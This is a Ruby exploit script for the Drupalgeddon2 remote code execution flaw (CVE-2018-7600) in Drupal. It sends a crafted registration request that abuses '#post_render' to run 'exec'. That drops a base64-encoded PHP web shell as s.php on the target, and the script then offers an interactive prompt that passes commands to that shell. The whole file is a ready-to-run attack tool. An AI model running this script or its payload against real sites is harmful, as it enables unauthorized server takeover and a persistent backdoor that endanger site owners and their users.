#!/usr/bin/env ruby 
#
# CVE-2018-7600 | Drupal - Drupalgeddon2 RCE
# Hans Topo  | @dreadlocked
# g0tmi1k    | @g0tmi1k
# KING SABRI | @KINGSABRI - just some enhancement 
# 
require 'base64'
require 'json'
require 'net/http'
require 'openssl'
require 'readline'

# Proxy information (nil to disable)
proxy_addr = nil
proxy_port = 8080

# Quick how to use
if ARGV.empty?
  puts "Usage: ruby cve-2018-7600_exploit.rb <target>"
  puts "       ruby cve-2018-7600_exploit.rb https://example.com"
  exit
end

target  = ARGV[0]

# Banner
puts "[*] --==[::#Drupalggedon2::]==--\n\n"

# Check input for protocol
if not target.start_with?('http')
  target = "http://" + target
end

# Check input for the end
if not target.end_with?('/')
  target += "/"
end

# Payload
evil = '<?php system($_GET["c"]); ?>'
evil = "echo " + Base64.encode64(evil).strip + " | base64 -d | tee s.php"

# PHP function to use
phpmethod = 'exec'

# mail & post_render 
url = target + 'user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax'
# Vulnerable Parameters: access_callback / lazy_builder  / pre_render/ post_render
payload = "form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=" + phpmethod + "&mail[a][#type]=markup&mail[a][#markup]=" + evil
uri = URI(url)
http = Net::HTTP.new(uri.host, uri.port, proxy_addr, proxy_port)

# Use SSL/TLS if needed
if uri.scheme == 'https'
  http.use_ssl = true
  http.verify_mode = OpenSSL::SSL::VERIFY_NONE
end

# Make the request
req = Net::HTTP::Post.new(uri.request_uri)
req.body = payload

# Check response
response = http.request(req)
if response.code == "200"
  puts "[+] Target seems to be exploitable! w00hooOO!"
  puts "[+] PHP shell: #{target}s.php?c=CMD " 
  puts "[+] Type your commands (exit to exit) and press Enter!"
  trap('INT', 'SIG_IGN')
  loop do 
    command = Readline.readline('Drupalgeddon2-> ', true)
    next if command.empty?
    exit! if command =~ /exit/
    exploit_uri = URI(target + "s.php?c=#{command}")
    puts Net::HTTP.get_response(exploit_uri).body
  end

else
  puts "[!] Target does NOT seem to be exploitable ~ Response: " + response.code
end

